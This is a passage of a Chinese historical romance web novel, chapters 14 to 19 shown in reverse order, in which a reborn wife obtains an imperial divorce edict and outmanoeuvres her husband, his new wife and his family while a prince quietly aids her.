楚定峰厉声喝问,“是不便公之于众,还是不敢?此次安儿在西平立下大功,却只得了个不入流的差事,是不是你个无知蠢妇在皇上跟前胡说了什么?” 这番质问毫不留情,简直半点脸面都不给她留。 楚翊安只冷冷地看着她,等着她如何狡辩。 陆知苒面上露出了恰当的惶恐,连忙道:“父亲明鉴,儿媳怎敢在皇上跟前胡说八道?儿媳若当真开了这个口,岂不是有插手朝堂职务之嫌?儿媳哪来的脸面?更何况,皇上乃一世明君,岂会被我一个小小女子左右?” 第19章 医术高明的女神医不止她一个 陆知苒心头一紧。 他的身材高大,逼近她时,叫她生出一股强烈的不安与反感。 她差点忘了,他们现在依旧是夫妻,他若真想做什么,自己连拒绝的资格都没有。 若真的让他碰一下,自己得膈应死。 陆知苒面上半分不显慌乱,反而一副淡然的神色。 “好啊,我自是求之不得,只是不知,赵书宁知道了之后会是何等反应,她定要嫉妒得发狂吧。若我怀上了嫡长子,她就别想再压我一头。” 一句话,如同兜头浇下一盆冷水,方才那股想要逞欲的冲动瞬间消失。 他恢复了清醒与理智。 嫌恶地后退两步,“想怀上我的子嗣,你做梦。” 陆知苒袖中的拳头微不可查地放松几分,心中那根弦却依旧绷着。 楚翊安冷冷地看着她,“这辈子,我都不会让你怀上我的子嗣,因为你没资格!” 说完,他便愤怒地甩袖而去。 明明甩下了狠话,但他心头依旧堵了一团火。 即便他极力忽视,也依旧无法将陆知苒那番嘲讽的话忘掉。 那个女人,她定是为了激怒自己才会如此口是心非! 看着楚翊安盛怒离去的背影,陆知苒紧绷的心弦这才彻底放松下去。 翠芙在在耳房清理箱笼,丹烟则在小厨房做点心。 这几日,她把小厨房收拾了出来,重新开火,自己想吃什么便做什么。 她贪吃,手艺也好。这会儿点心做好了,却没了方才的好心情。 两人第一时间向陆知苒请罪,“小姐恕罪,都是奴婢疏忽,一时没发现姑爷来了。” 陆知苒平复了一番心情,摆了摆手,“不怪你们,这里是侯府,你们便是发现他来了也阻止不了。” 这件事让陆知苒意识到,这玉笙居也不是属于她的私人领地,只要她在侯府一日,就是人在屋檐下,半分松懈不得。 回想方才楚翊安的话,陆知苒依旧觉得膈应。 简直一日都不想在这破地方待下去了。 傍晚,赵书宁踏着落日余晖出了宫,她脸上有淡淡的疲惫,但眼神却很亮。 今日,她行了一计险针,李贵妃的病症彻底好转。 李贵妃对她大加赞誉,还给了她一匣子稀有的珍珠作为赏赐。 赵书宁摸着怀里的珍珠,眸底熠熠生辉。 她在乎的不是这一匣子珍珠的价值有多贵重,而是自己终于与李贵妃结下了善缘,也为宣平侯府与李家的来往搭好了梯子。 而这一切,都是陆知苒那女人永远做不到的。 姜氏得知此事,大为欣喜。 她把赵书宁唤到跟前,很是亲热地拉着她的手,对她连连夸赞,楚云清也夸得卖力至极。 赵书宁脸上始终挂着恰到好处的微笑,“我本就是医者,治病救人乃是我的责任,我也只是做了自己该做的罢了。” 姜氏感叹,“你这孩子,当真是有大本事的,我们侯府娶了你,真是光耀门楣。” 姜氏人老成精,知道哪些话赵书宁爱听,直把她夸得心下熨帖至极。 楚云清对她新得的珍珠很是眼馋,但姜氏三令五申让她收敛一二,不可在这个关头开口讨要,吃相难看惹恼了她,楚云清就只能努力按捺住了。 不过没关系,她迟早有法子弄到手,时间问题罢了。 这件事也传到了玉笙居。 翠芙和丹烟都酸溜溜的,“她定是撞了狗屎运!” “对啊,她一介年轻女流,医术能有多好?瞎猫撞到死耗子罢了!” 陆知苒倒是难得替赵书宁说好话,“旁的姑且不论,她的确有几分医术。” 不过,这世间医术高明的女神医可不止她一人。 思绪一转,她唤来金嬷嬷,“奶娘,我有一桩事要吩咐福贵去办。” 金嬷嬷忙一脸正色,等待吩咐。 “您把我库房里那株人参拿出来,让他交给谭叔,若吏部尚书邢家来人要买,就以市场价低三成的价格卖给对方。若五日内对方不来买,便让谭叔想法子引他们来。” “另外,告诉对方,城西胡桃巷子有一个郎中,医术高明,善治卒中,可起死回生,若病患救治及时,可恢复如常。” 前世,邢家老太爷突发中风,情况危急。 后来邢家来请赵书宁前去救治,因时间延误,邢老太爷虽侥幸留了一条性命,却眼歪嘴斜,瘫痪在床。 为了让儿子不因自己身故而丁忧,邢老太爷愣是这么毫无尊严地撑了好几年。 陆知苒让邢家人去胡桃巷子请那人,既抢了赵书宁的功劳,也能让邢家记住自己的举荐之恩,还能让邢老太爷得到更好的救治。 除此之外,她还有另外一份谋算。 这位邢大人性格耿直,铁面无私,又掌管着官吏升迁考核之事,多少人想走他的门路都被拒。 父亲陆贯轩在从三品户部侍郎的位置上坐了许多年,他一直想走邢大人的路子往上爬,却屡屡碰壁。 陆知苒此举,便是在给陆贯轩铺路。 并非她对这个父亲有多孝顺,而是想以此为筹码让他接纳自己和离归家。 她家资颇丰,自然能在外置办宅院,但她是女子,便没有在外开门立户的资格。 除非嫁人,或是立女户。 所以,她只能依靠父亲,回到陆家。 世间对女子便是如此不公。 有皇上的圣旨在,父亲表面上不敢说什么,但在陆家定然不会善待自己。 父亲不可靠,她便只能殚精竭虑苦心筹谋,为自己的未来铺路。 金嬷嬷听了这番话,心中不禁升起疑问,小姐怎知晓这般清楚? 心中虽疑惑,却没有多问。 自家小姐现在行事越发有章程,自己只管听命行事便是。 金嬷嬷半分没耽搁,转身就去寻福贵去了。 再过三日,便是楚翊安和赵书宁大婚之日。 楚翊安的差事终于分派了下来,是军屯卫所的步军统领,四品官阶,主要负责内城九座城门内外的守卫和门禁。 楚翊安对这个调任并不满意,虽然官阶升了,但这份差事却颇有些不体面,说白了,便与巡城小吏并无二致。 不可避免,楚翊安再次对陆知苒生出了迁怒。 若她当日没有入宫闹那一场,自己的调任是否会更加体面些? 反观赵书宁,她素来体贴懂事,从不对自己提任何要求,反而能帮自己分忧解难。 先前的银子解了侯府燃眉之急,近日她在李贵妃面前立下的功劳也为侯府与李家搭上了线。 如她这般,方算是真正的贤内助。 第18章 自作多情的男人 楚翊安也向姜氏告辞,走到门口,就听楚云清的话从身后传来。 “若大哥没用军功给书宁嫂嫂请封诰命就好了,那样的话他也能得到一大笔赏赐,我就能买更多更漂亮的衣裳和头面了。” 她的脸上满是贪婪,语气中更是充满失望。 姜氏被她的话狠狠刺了一下。 不能想,一想就心痛得滴血! 楚翊安的脚步顿住,回头,沉着脸看着楚云清。 “你何时变得这般市侩虚荣?眼里就只看得到银子?” 楚云清一时心虚,但又不服气自己挨骂,当即梗着脖子嚷了起来。 “我不过说了一句实话罢了,怎么就成了市侩虚荣了?” 楚翊安看她的眼神充满失望,“书宁的诰命是我自愿为她请封,岂是那些金银赏赐能比的?书宁对你从不吝惜钱财,可谓掏心掏肺,你却说这样的话,叫她听了去岂不寒心?” 楚云清被训得脸色难看,心中也生出了一股怨气。 姜氏立马为女儿说话,“清儿不过是无心之言罢了。” 楚翊安蹙眉看着姜氏,眼底满是不赞同。 “母亲,您不能一直这么惯着清儿,她已经不小,应当学会懂事了。” 楚云清气得又要顶嘴,姜氏安抚地拍了拍她的手背,又对楚翊安道:“清儿是有些小孩子脾气,品性并不坏,你身为兄长应当对她多些包容,而不是这般苛责,没得伤了兄妹情分。” 楚翊安冷冷道:“我可以对她包容,但她出了侯府,还依旧如此自私自利,可没人会对她包容。” 楚云清再也忍不住,牙尖嘴利地反驳,“你难道就不自私自利吗?嫂嫂为了你做了那么多,你却带了个平妻回来,还给她请封诰命,你对得起你的发妻吗?” 楚云清自然不是为了陆知苒出头,她就只是单纯地要刺一刺楚翊安,好找回场子罢了。 楚翊安像是被人狠狠扇了一记耳光,脸上火辣辣的,心中很是难堪。 他语气僵硬地高声反驳,“她是我的妻,为我做再多不都是理所应当?更何况,哪个男人不是三妻四妾?我只不过是多了书宁一个罢了,她若是大度,就应当大方接纳!” 姜氏见兄妹二人因赵书宁针锋相对,心头不禁恼怒。 “好了,都少说两句,传出去像什么样?” 楚翊安沉着脸,“这般目无尊长,不敬兄嫂,母亲还是好好管教她吧!” 说完这话,他便转身愤然离去,直把楚云清气得眼眶都红了。 离开了永福居,脑中却不可避免想到楚云清那番话,心底升起一股被戳穿的心虚,只是他不愿直面罢了。 脚步不受控制,不知不觉他竟来到了玉笙居门口。 洒扫丫鬟见到伫立在门口的人,被吓了一跳。 “大,大少爷,您怎么来了?” 楚翊安神色冷淡,“我进去看看,无需通传。” 小丫鬟不敢违抗,目送他进了里屋。 这几日外头的好消息不断,陆知苒的心情十分不错。 账册已经看得差不多,她难得偷得浮生半日闲,倚在窗前的小榻上,低头翻看手中书卷。 肌肤白皙如玉,长睫如扇半覆在眼脸上,在眼脸下形成淡淡的剪影,阳光在她的发间流转,周遭的一切都成了她的陪衬。 楚翊安看到的便是这么一副画面,心口似被什么狠狠撞了一下,一股悸动荡漾开去。 察觉到一股令人不适的注视,陆知苒抬眸朝这边看来。 见到来人,陆知苒身上的松弛瞬间收敛,浑身都笼上了戒备与警惕。 “你来做什么?” 楚翊安眼神微动,“我来看看你。” 陆知苒在心中暗道晦气。 “现在看到了,请问你还有何贵干?” 楚翊安心底那丝隐隐的愧疚,瞬间被她这冷漠的态度给刺没了。 “这里是侯府,是我的地盘,我想来便来,倒是你,该摆正自己的位置。” 陆知苒神色微敛,旋即换了一副恭恭敬敬的态度,“妾身知错,不知夫君有何吩咐?” 见她如此刻意疏离恭敬,楚翊安心头又是一阵莫名来气。 “陆知苒,你就不能与我好生说话?” 陆知苒语气疑惑,“我的态度还不够恭敬吗?” 楚翊安深吸了一口气,“陆知苒,你便是与我赌气也要有个度,你一直这般阴阳怪气,以往再多的情分也会被消磨殆尽。” 陆知苒面上露出嘲讽,他们之间还有情分这东西? 楚翊安却将她的沉默当做示弱,他一副恩赐般的语气开口。 “你一心为我组建商队,精心挑选礼物,这份心我都看在眼里。我亦并非铁石心肠,只要你收敛脾气,不再无理取闹,我也会给你应有的体面。但有一点,书宁是我的逆鳞,你无论如何都越不过她去。” 陆知苒:…… “你或许搞错了一件事,我做那些事,并不是为了你。” 楚翊安目光定定地看着她,像是要识破对方的口是心非。 “你敢说,你组建商队不是一心为了我?” 陆知苒发现,不把话挑明了说清楚,有些人就是像智障一样听不懂话,还会自行脑补。 她前所未有认真地开口,“我组建商队,是因为那条商道极少有人敢走,有利可图。我的商队把京城的商品运到关外,再把关外稀有商品运回京城,来回倒腾就能高价贩卖,虽辛苦些,但利润颇丰。若当真无利可图,傻子才会往里花银子。” 陆知苒的这番话说得毫不留情,将楚翊安的自作多情彻底击碎。 他的面皮狠狠抽动,胸腔中更是涌起一股难以自处的羞愤。 “你每年给我送那么多东西,又要如何解释?母亲已经告诉我了,那些东西都是你精心挑选的,你休想否认!” “那些东西的确是我精心挑选,但不是为了你,而是为了我的夫君,你不过刚好是我的夫君罢了。我的夫君换成任何一个人,我都会为他这么做,这是我身为妻子的义务。” 楚翊安万万没想到她会说出这样一番话,她面上那抹嘲讽不仅刺眼,还狠狠刺了他高高在上的自尊心。 大步朝她逼近,楚翊安咬牙切齿地开口,“我是你的夫君,行敦伦之礼,也是你身为妻子的义务!” 他的眸子深邃幽沉,里面倒映着陆知苒的脸,似海棠般娇艳。 被怒意驱使,他只想把这女人彻底撕碎,让她乖顺臣服于自己。 第17章 她为了我组建商队? 宣平侯府各处已然挂起了大红的囍字,处处都透着喜庆。 赵书宁不善女红,时间上也赶不及自己亲手绣嫁衣,她一咬牙,直接去锦绣阁定制了一身嫁衣。 锦绣阁是京城手艺最好的绣庄,绣娘的手艺没话说,但价格也十分高昂。 但赵书宁想到陆知苒那张娇艳明媚的脸,便压下了心疼,果断付了银子。 有了嫁衣,头面也不能少,她又去如意阁定了一副头面。 她现在也是有头有脸之人,绝不能被陆知苒比下去。 刨除了宴席的花销,再加上这一番从头到脚的置办,她手头上好东西便所剩无几了。 赵书宁安慰自己,钱财都是身外物,捏在手里只是死钱,花了出去才能体现真正的价值。 钱财花完了,再去挣便是,她有这个能力。 大家都以为陆知苒此时定然躲在玉笙居里黯然神伤,但事实上,陆知苒的心情却十分不错。 谭旭文再次传来好消息,他已经把几个铺子的账目都摸清楚,那些蛀虫的把柄也尽数掌握在手,只需她一道命令,就能出手料理。 这次事情进展超乎寻常的顺利,他已然确定,此事背后的确有人相助。 陆知苒深知,这世上没有无缘无故的善意。 对方帮她,或许是有所图谋。 但陆知苒并不过分担忧,对方既然不愿暴露身份,她也不会刻意追查,一切顺势而为,见招拆招便是。 德丰帝下旨,给太仓商行上下所有人封了一笔恩赏,封赏的财物颇为丰厚,阵仗浩大,引来京中无数百姓围观。 陆知苒听说之后,精神大振。 德丰帝并未忘记自己当初的承诺,之所以拖延至此,想来是在拟定封赏之物,自己的和离圣旨,定然也很快到了。 楚云清白日在外面逛街,正好目睹了宣旨封赏的全过程,她口若悬河地讲述着,眼里盛满了艳羡。 “那赏赐一箱接一箱,一排排打开摆着,金灿灿的,简直要闪瞎人的眼睛。” 楚翊安对此并不嫉妒,反而道:“他们有救世之举,这都是他们应得的。” 作为西平之战的亲历者,没人比他更清楚当初边关的危急,没粮没药,大家只能等死。 太仓商行的义举,救了边关数万万将士和百姓。 一旁的赵书宁却脸色寡淡。 若无自己开的药方,太仓商行便是有药也无人会用。 自己的功劳才是头一份的,但现在,风头倒是全都落在了他们身上。 姜氏像是想起什么,十分不经意地开口,“说来,陆氏也有一支商队,专跑西平这条商道。只可惜,她的商队少了点运气,没能在此次大战中立下功劳。” 姜氏的语气中难掩惋惜。 若她的商队立了大功,那他们宣平侯府就能得到一笔赏赐了。 楚翊安并不了解陆知苒的产业,倒是第一次听说此事。 不过他也并不在乎,只神色冷淡,“她并无那等魄力,就算机会摆在她面前,也未必能抓住。” 楚云清也满脸鄙薄,“对啊,她那般小家子气,定然舍不得把粮草和药材无偿捐赠出去。说不定还要高价售卖以谋取利益呢。” 赵书宁没有开口,不过她想说的,已经有人替她说。 楚翊安满脸烦躁,“别提她,扫兴。” 姜氏一副无奈神色,“安儿,你也别对她太过苛刻,当初她为了你才组建商队,对你可谓是有情有义。现在使小性子也是因为太在乎你罢了。” 楚翊安神色一怔。 “您说什么?她是为了我才组建了商队?” 姜氏点头,“西平贫寒,那条商道不赚钱,若非为了方便给你捎带东西,她怎会组建商队,还一直养了三年?每回给你送的那些东西,都是陆氏亲自挑选,样样都是最好的。” 楚翊安第一次听说此事,脸上满是震惊之色。 这三年,他的确每年都收到了侯府送的东西,而且不是简简单单的三两样,而是满满当当的好几车。 不仅有他的,便是他的同袍也都有份。 他的那一份永远是最好的。 与母亲洋洋洒洒的厚厚家信相比,陆知苒的书信总是简简单单,字里行间都透着生疏淡漠。 所以,他一直以为那些东西是母亲准备好,托了商队送来的。 自从凯旋回京之后,他与陆知苒便不曾坐下来好好说过话,是以,他也没机会知道这件事。 而今乍然听说,他脸上的震惊难以掩饰,心头更是泛起一股难以言说的复杂情绪。 赵书宁看着楚翊安骤然失神的模样,闷滞的情绪如藤蔓般在胸腔蔓延,袖中的手也不由暗暗握紧几分。 去年冬日,她便亲眼看到了商队送来的那几大车物件,吃的,穿的,用的,品类齐全,不一而足。 楚翊安满脸骄傲,高兴得像个孩子。 那些东西成为了他身份的象征,也让他有了可以笼络人心的筹码。 也是那些东西,让赵书宁以为侯府家底殷实,富不可言。 赵书宁陡然想起,彼时楚翊安还从那一堆东西中挑了好些精巧物件赠与她,其中有一件精致的狐裘围脖。 她甚是欣喜,那个冬日她几乎日日都戴着,从不离身。 而今想来,那只怕多半是陆知苒亲自准备之物。 思及此,赵书宁就恨不得立马把那围脖烧了! 楚翊安依旧沉浸在自己的思绪中,根本没察觉赵书宁脸色的变化,姜氏却是将这一切尽收眼底,她的唇角无声勾了勾。 这内宅里,也讲究个平衡之术,可不能让谁一家独大。 赵书宁心底发闷,脸色难看,她正要出声告退,外面就有嬷嬷前来传话。 “夫人,宫里来人了,李贵妃又犯旧疾了,请宁夫人速速入宫。” 姜氏立马不再戳赵书宁心窝子,转而换了一副和煦的神色。 “书宁,你快去吧,可别耽搁了。” 赵书宁深吸了一口气,调整了一番状态。 “李贵妃的旧疾已然大好,只需继续坚持施针用药,定能彻底好转。” 陆知苒不过是有几个臭钱罢了,自己却是有能安身立命的医术,她跟自己永远没法比。 果然,楚翊安看她的眼神顿时充满骄傲,“我知道,你的医术超凡,这等小事定然难不倒你。” 赵书宁的脸上再次绽出笑容。 她顾不上多说,很快离开。 第16章 就当借她的 丹烟和翠芙又气又急,眼眶都红了。 “小姐,姑爷他太过分了!” “他简直狼心狗肺,不是人!” 陆知苒深吸一口气,“再等等,很快,我就能离开这里了。” 重新回到案前,准备继续理账,余光就瞥见了那封尚未来得及拆开的书信。 她拿起,拆开了来。 素白的信笺上,是一行龙飞凤舞的大字。 “圣旨虽迟但到,请陆大小姐静候佳音。” 陆知苒心头猛地一跳。 这是何意?究竟是真是假? “方才可有谁来过?” 几人摇头,“只有姑爷来过。” 不是他。 在他来之前,这封信就已经在了。 而且,他也不可能知道自己入宫求了和离圣旨一事。 难道,是皇上那边有了新的安排? 君无戏言,皇上既然答应给自己颁和离圣旨,就必然不会食言,且耐心等上几日。 很快,她又收到了一个好消息。 “小姐,谭管事传来了好消息,茶庄的事情有了大突破,只要大小姐吩咐一声就能立时收网了。另外几个铺子也进展顺利。” 陆知苒十分惊喜,“竟这般顺利?” 本以为短时间内解决不了,没想到这么快就有了进展。 “谭管事也觉得事情太过顺利了些,似是有人在暗中推动,但究竟是谁,他却又查不到。不过对方似乎并无恶意。” 陆知苒眉头微蹙,前世不曾发生过这件事,一时之间她也想不到会是什么人在暗中帮她。 沉吟片刻,“你给谭叔递话,茶庄那头,先按兵不动,其他铺子继续推进,不要打草惊蛇。至于背后之人,若对方确实没有恶意,便无需多管。若对方有其他行动,便让他见机行事。” 她的重生改变了很多事,她并不畏惧改变,事情有改变,才说明有转机。 石齐舟那边同样进展顺利。 此时气温依旧很高,棉花和炭的价格暴跌,多地出现了滞销,石齐舟非常顺利地采买到了大量低价货源。 而这距离陆知苒交代的任务还远未完成,他依旧马不停蹄地在安排采买。 这番大动作引起了商界的关注,一时沦为笑谈,人人都等着看笑话。 萧晏辞与贺昀主仆二人正在茶楼喝茶,楼下便有一群人正在讨论此事,等着那位人傻钱多的大傻缺把货砸在自己手里,甚至还开了赌局。 殊不知,当朝七皇子也蹚了这趟浑水,成了他们口中人傻钱多的大傻缺。 贺昀真怕自家殿下一个暴脾气,直接冲下去把那些人的桌子给掀了——毕竟,他以前也不是没干过这事。 萧晏辞半靠着椅子,两条大长腿不羁地搭在桌上,手里还抓着把瓜子,有一搭没一搭地嗑着,对下面的高谈阔论充耳不闻。 “信送去了吗?” 贺昀正色,“送去了,送到房门口了,陆大姑娘肯定能看到。” 萧晏辞“嗯”了一声。 “谭旭文那头进展如何了?” “回香茗茶庄的线索已经放出去,谭旭文是个聪明人,很快就顺藤摸瓜查到了罪证,只是他现在暂时隐而不发。其他几处铺子的线索咱们的人也在陆续往外放,不消几日谭旭文就能料理好。” 萧晏辞算了算时间,到宣旨那日,谭旭文那头也定然料理得差不多了。 贺昀挠挠头,“殿下,一码归一码,您帮归帮,也没必要跟着陆大小姐瞎折腾啊,要不,咱们趁现在把那批东西卖了吧。” 他朝贺昀呸了一口瓜子皮,“卖什么?我还等着大赚一笔呢。” 贺昀半点面子都不给他留,“您就死心吧,悟尘大师说了,您这辈子就没有财运。” “那就是个招摇撞骗的老秃驴,他的话能信?” 贺昀开始掰着手指头数,“您满月时,皇上命人打造了一个长命锁挂在您脖子上,万万没想到,有胆大包天的奴婢竟将它调包,换了个不值钱的玩意儿。事发之后,那长命锁也寻不回来了。” “您三个月的时候,皇上又赏了您一个挂坠,没成想皇上抱着您出去逛一圈,挂坠就丢了,皇上命人掘地三尺也没找到。” “您半岁的时候,瞧见皇上腰间的玉佩好看,随手扯下来玩,玩着玩着又丢了……” “后来,但凡您身上有超过十两的钱财,不消一个时辰铁定不翼而飞。至此以后皇上再没给您赏赐过好东西,因为赏了您也留不住,白白便宜了别人。” 也正是他这个邪门的命格,让德丰帝对这个儿子多了几分怜惜。 没法赏赐物件,就只能多给与关怀,一来二去,父子情便慢慢亲厚起来,也算有舍有得。 萧晏辞恼羞成怒,“闭嘴!就你记性好?显的你!” 贺昀一脸无辜,“属下只是实话实说。悟尘大师乃得道高僧,他批命从未出过错,您这辈子就是个破财命。” 萧晏辞一记充满杀气的眼刀子甩过来,“你是他的人还是我的人?胳膊肘往外拐的东西。” 贺昀摊手,“我是您的人也不能睁着眼睛说瞎话啊,您自己想想,这些年您做的那些生意,有哪个不赔的?您就别折腾了。” 他家殿下天生反骨,明知道自己天生破财,偏偏不信邪,就爱学人家经商。 原本稳赚不赔的好买卖,他家殿下只要一往里投银子,必定赔得底裤都不剩,饶是如此,他还乐此不疲,简直又菜又爱玩。 萧晏辞被他念叨烦了,不耐烦地道:“银子花出去总比莫名其妙丢了强,你就闭嘴吧。” 贺昀:“……说得也是。” “这次,我肯定能大赚一笔。” 贺昀:“您每回都这么说,但一次比一次赔得惨。” 萧晏辞觉得这小子的嘴特别多余,想缝起来。 他目光冷飕飕的,“要是这回我赚到了银子,你怎么说?” 贺昀毫不犹豫,“那属下把脑袋拧下来给您当球踢。” 萧晏辞冷笑一声,“行,记住你的话,到时候你要不拧,我亲自动手。” 贺昀觉得这个威胁毫无威慑力,因为他家殿下这辈子都不可能赚得到银子。 第15章 朕是在给她反悔的机会 话虽如此说,但他脸上却是带着笑意,显见是轻松愉悦的。 萧晏辞走到门口,德丰帝又连忙喊住他。 “等等。” “父皇还有什么吩咐?” 德丰帝沉吟片刻,“这圣旨,且缓几日再宣。” “父皇,您不会是反悔了吧?您可是天子,君无戏言。” 德丰帝虎着脸,“朕岂会食言?这世间敢于主动和离的女子少之又少,万一这位陆大姑娘只是一时冲动,并非真的想和离呢?这圣旨一下,可就覆水难收了。朕是在给她反悔的机会。” 他已经下错了一道诰命圣旨,可不想又下错一道和离圣旨。 萧晏辞很笃定,她不会反悔。 能经营出太仓商行那般大的产业,还能在西平一役中果敢地做出那番决断,便说明此女心性果决,绝非那等遇事不决之人。 但不知想到什么,萧晏辞没有出言反驳。 他换上了一副笑脸,“还是父皇考虑周全。” 德丰帝又扬手,没好气地赶人,萧晏辞拿着圣旨,麻溜地走了。 他拿起奏章,开始批阅,没多会儿又停了下来,转头问,“楚翊安可有分派差事?” 冯有才躬身作答,“回皇上,按照流程推断,约莫是尚未分派。” 德丰帝眸色晦暗几分,“此子虽有些智谋,但到底太过年轻,升得太快就容易浮躁,还是该好好磨砺和沉淀一番。” 冯有才附和,“皇上思虑周全。” 依照楚翊安的功劳,自然应该得到重赏,但谁让他没处理好家事,还连累皇上里外不是人? 皇上没有降罪,已是法外开恩了。 出了宫,贺昀这才找到机会问自家殿下,“殿下,您打算何时去宣旨?” 萧晏辞语气悠闲,“楚翊安那厮不是要补办喜宴吗?那么难得一见的稀罕事,本王自然要去讨一杯喜酒喝。如此黄道吉日,岂不正是宣旨的好时候?” 贺昀朝他竖起了大拇指,“不愧是您,够损!” 萧晏辞冷眼扫过来,贺昀立马抬手给了自己一记耳光,“瞧属下这张破嘴,那楚翊安和赵医女两情相悦,您的这道和离圣旨可谓锦上添花,是他们二人最好的新婚贺礼。” 萧晏辞:“算你说了句人话。” 贺昀暗暗搓手,心头隐隐兴奋。 那番情形,光是想想就精彩,真是迫不及待想看好戏了。 “另外,谭旭文那边在查的事情,你暗中推一把。” 这几日,陆知苒一直在整理自己的产业,为和离做准备。 她没有把全部希望寄托在和离圣旨上。 萧晏辞觉得,就算没有求到这道和离圣旨,她也能靠自己体体面面地和离,漂漂亮亮地打一个翻身仗。 看在救命之恩的份儿上,萧晏辞打算再帮她一把。 贺昀挠挠头,“皇上扣下圣旨,陆大小姐怕是以为事情出了变故,要着急。” 萧晏辞摩挲着圣旨的边缘,“那便派人给她传个话。” …… 求到了和离圣旨,陆知苒心情很不错,晚上舒舒服服地睡了一场大觉。 第二日,她依旧闭门不出,只等圣旨到。 正埋头打算盘,金嬷嬷一脸疑惑地走进来,手里还拿着一封未拆封的书信,上面写着“陆大小姐亲启”几个大字。 “小姐,奴婢方才在门口瞧见这个。” 陆知苒伸手接过,秀眉微蹙。 完全陌生的字迹。 正欲拆开,丹烟的声音从外间传来。 “姑爷,我家小姐在忙。” 楚翊安的声音格外冰冷,“这是侯府,不是陆家,这里没有姑爷小姐,若是连一句称呼都分不清,就滚回陆家去!” 陆知苒从里间走了出来,“是我让她们这般称呼的,你有什么火就冲着我来。” 楚翊安脸上带着明显的怒容,“陆知苒,你是越来越不把我放在眼里了。” 陆知苒语气平静,“这就是你到我这里撒泼的原因?” 她总是这副云淡风轻的模样,好似自己像个笑话,这让楚翊安更加恼火。 他怒意质问,“昨日你入宫面圣了?” 陆知苒坦然点头,“没错。” “书宁告诉我你入了宫,我还不信,却不想竟是真的。我不曾想你这般恶毒,为了你的一己私欲,敢把状都告到了皇上跟前!” 昨日宫中李贵妃突发疾病,赵书宁被急召入宫诊治,陆知苒入宫之事,她便是从李贵妃身边的小宫女口中听说。 陆知苒蹙眉看他,“我不曾向皇上告状。” 楚翊安的怒意更甚,几乎咬牙切齿地开口,“不是你还会有谁?与我一道在西平立了功的将士都有了新的调任,却独独我没有。我去吏部询问,对方对我一改此前殷勤态度,反是冷嘲热讽,把我晾在一边,到最后我也没拿到调令。” “我欲入宫面圣,却只在御书房外干站了半日。我乃此次西平之战的大功臣,若非有人在皇上跟前说了些什么,皇上何至于对我态度大变?” “册封书宁为诰命的圣旨已下,你深知无法让皇上收回成命,便转而攻讦我,害我前程受阻,陆知苒,你好生恶毒!” 陆知苒冷冷地看着他,“我说了,我不曾向皇上告状,我面圣另有其事。至于你为何会被冷落,你便该好好反省反省自己是否立身不正,而不是只知道从旁人身上找原因。” 楚翊安压根不信她的话,“那你入宫做什么?你一介内宅妇人,还能与皇上谈家国大事不成?” 面对这条疯狗,陆知苒没半点好脾气。 “我入宫做什么是我自己的事,与你无关。” 楚翊安目光冷冷地盯着她,她长得极美,叫人一眼就挪不开视线,曾经,他也为她心动过。 而今,他看着这张脸只觉厌恶至极。 她空有光鲜的外表,内里却是恶毒的蛇蝎。 “敢做不敢当,你真虚伪。我以前若是知道你是这样的人,定然不会娶你过门!” 这话深深地扎进陆知苒的心里,她同样的懊悔,懊悔自己两辈子都嫁给了这个男人! “这段时间你便老老实实地待在你的院子里,在我和书宁完成大婚之前,你哪里也不准去!” 说完这话,他便愤怒甩袖而去。 第14章 求一道和离圣旨 陆知苒低垂着头,语气恭敬小心,“皇上或许有所不知,臣妇的生母乃是苏州富商之女,母亲去世时给臣女留下了不少人手,商行的经营打理便全赖那些得力管事,臣女不过是占了个名头罢了。” 她态度谦逊不居功,德丰帝对她多了几分好感,但帝王喜怒不行于色,语气依旧威严。 “你们商行的大义之举解了西平困局,救了西平万千百姓,乃是大功一件,当赏。” 陆知苒神色诚恳,语气真挚,“西平将士不畏苦寒,以血肉之躯守卫大齐边境,才换来了京城这一片太平之世,臣妇困于内宅,除了碎银几两便身无长物。此次能帮西平解了此番困局,也算是臣妇为朝廷略尽的一点绵薄之力,万万不敢居功。” 这话说得德丰帝心头熨帖,开口的语气便和缓了些许。 “有过当罚,有功当赏,你不必自谦。说说,你想要什么恩赏?只要你开口,朕都允了。” 陆知苒双手交叠以额触地,行了一个大礼。 “臣妇斗胆,也想求皇上一个恩典。” 德丰帝眸光微眯,脸上的神色淡了下去。 “朕的圣旨已下,不可能收回成命。” 陆知苒声音平稳,“臣妇并非让皇上收回成命,只求皇上给臣妇一道圣旨,准臣妇和离归家。” 德丰帝眼底闪过一抹惊诧,不禁重新审视起眼前女子。 “你竟要和离?” 陆知苒语气坚定,“这是臣妇深思熟虑之后的决定,求皇上成全。” “你可是在迁怒朕下的那道诰命圣旨?” 陆知苒心头一紧,诚惶诚恐地解释,“臣妇万万不敢。皇上您乃一国之君,楚翊安和赵医女于您而言是立了功的功臣,您嘉奖二人无可厚非,臣妇岂会因此不满?臣妇做出这个决定乃是发自内心,绝非一时赌气。” 德丰帝语气意味不明,“那你倒是说说,为何定要和离?若你能说服朕,朕便允了你。” 陆知苒暗暗握了握拳,将心中腹稿缓缓道出。 “臣妇虽是楚翊安的结发妻子,但我们二人婚前并不熟识,婚后更是不曾相处过一日。他与赵医女才是真正两情相悦的有情人,臣妇只是空占了个名头罢了。既然如此,臣妇又何必横插在二人中间?不若就此和离,成全彼此。” “继续留在侯府,不过是互相折磨,蹉跎一生罢了,臣妇还年轻,还有大把的好时光,何必困在一个不在乎自己的人身边生活一辈子?” 德丰帝眸光深深地看着她。 “就这般和离,你便甘心?” 陆知苒:“接纳什么,什么就消失,排斥什么,什么就存在。臣妇越是对此事耿耿于怀,它就会如跗骨之蛆一般,永远无法拔除。臣妇坦然接受了,所有愤懑不甘就都不存在了。” 德丰帝看她的眼神多了几分意外,“你倒是想得通透。” 陆知苒垂眸,一副自嘲的姿态,“臣妇惭愧,尚不能做到真正的通透豁达。臣妇求皇上的这道圣旨,便是因为心里存了怨气,想要借着皇上的圣旨为自己撑腰罢了。” 陆知苒再次以额触地,声音含着几分隐忍的哽咽。 “臣妇只求能挺直腰杆,堂堂正正地离开,求皇上成全。” 她匍匐在地,仿若一朵娇弱易折的花儿,脆弱无助,而德丰帝是她唯一的救命稻草,这种适当的示弱并不让德丰帝讨厌,反而激起了他的恻隐之心。 到底是个年轻小姑娘,比他的小女儿也大不了几岁,却要经历这般人生变故,也是可怜。 此事与他还有些干系,德丰帝更添几分心虚。 他的语气不禁柔和,“你既已想好,朕便准了。” 陆知苒听了这话,一直紧绷的心弦终于彻底放了下去。 “臣妇叩谢隆恩!” 德丰帝把她叫起赐座,陆知苒谢恩坐下,却只敢坐小半边,身姿笔挺,不敢放松。 